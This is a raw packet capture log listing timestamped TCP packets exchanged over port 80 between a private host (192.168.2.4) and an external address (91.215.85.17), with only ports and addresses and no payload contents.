Oct 13, 2023 16:06:20.039271116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039307117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039340973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039377928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039438009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039473057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039546013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039582014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039741039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039777040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039858103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039896011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.039918900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.039953947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040039062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040081024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040152073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040189028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040224075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040287018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040308952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040361881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040431023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040469885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040479898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040515900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040602922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040643930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040668011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040703058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040757895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040791988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040823936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.040862083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.040971041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041012049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041034937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041071892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041130066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041166067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041260004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041296005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041318893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041354895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041424036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041460991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041507006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041542053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041595936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041632891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041697025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041735888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041763067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041801929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041857958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041897058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.041960955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.041997910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042021036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042057991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042112112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042160988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042212009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042248964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042284012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042319059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042392015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042429924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042483091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042520046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042556047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042591095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042627096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042665958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042738914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042778015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042799950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042835951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042912960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.042951107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.042984009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043015003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043103933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043140888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043272972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043313980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043375969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043412924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043447018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043483973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043551922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043587923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043646097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043684006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043751955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043788910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.043849945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.043885946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044100046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044137955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044164896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044207096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044229984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044266939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044291019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044327974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044351101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044388056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044411898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044447899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044509888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044552088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044586897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044625998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044661999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044698954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044761896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044799089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044864893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.044904947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.044970036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045008898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045037031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045078039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045099020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045135021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045222044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045264959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045286894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045324087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045347929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045384884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045490980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045527935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045547009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045587063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045650959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045687914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045741081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045778036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045803070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045839071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045861959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.045902967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.045979023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046019077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046053886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046092987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046127081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046163082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046241999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046287060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046314001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046350956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046442986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046480894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046510935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046545982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046581030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046617985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046684980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046737909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046785116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046823025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046833992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046869993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.046957970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.046997070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047020912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047059059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047168016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047205925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047231913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047269106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047346115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047386885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047441959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047482967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047540903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047580004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047633886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047672033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047697067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047734976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047758102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047796011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047820091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047856092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.047890902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.047939062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048012972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048052073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048073053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048110962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048185110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048219919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048254967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048310995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048377991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048415899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048439980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048477888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048501968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048546076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048630953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048669100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048692942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048728943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048753023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048789024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048825026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048860073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.048943996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.048983097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049017906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049053907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049290895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049330950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049366951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049406052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049489021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049529076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049561977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049603939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049638033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049676895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049700022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049736023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049789906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049824953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049889088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.049925089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.049992085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050026894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050221920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050257921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050343037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050399065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050412893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050451994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050513983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050527096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050550938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050565004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050586939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050622940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050662041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.050694942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.050973892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051006079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051038980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051076889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051136017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051172972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051235914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051271915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051325083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051361084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051417112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051453114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051476002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051511049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051590919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051626921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051661015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051692963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051759958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051796913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051858902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051897049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051914930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051950932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.051960945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.051999092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052021980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052057981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052117109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052154064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052207947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052221060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052243948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052257061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052359104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052400112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052406073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052440882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052520037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052553892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052572966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052608013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052632093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052668095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052690029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052726984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052746058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052782059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052814007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052849054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052934885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.052969933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.052993059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053029060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053081036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053121090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053143024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053179979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053204060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053239107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053329945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053366899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053463936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053497076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053550959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053591013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053625107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053659916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053718090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053752899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053821087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053855896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053865910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053901911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.053905964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.053940058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054008007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054052114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054085970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054128885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054197073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054234982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054267883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.054305077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.054380894 CEST	80	49762	91.215.85.17	192.168.2.4
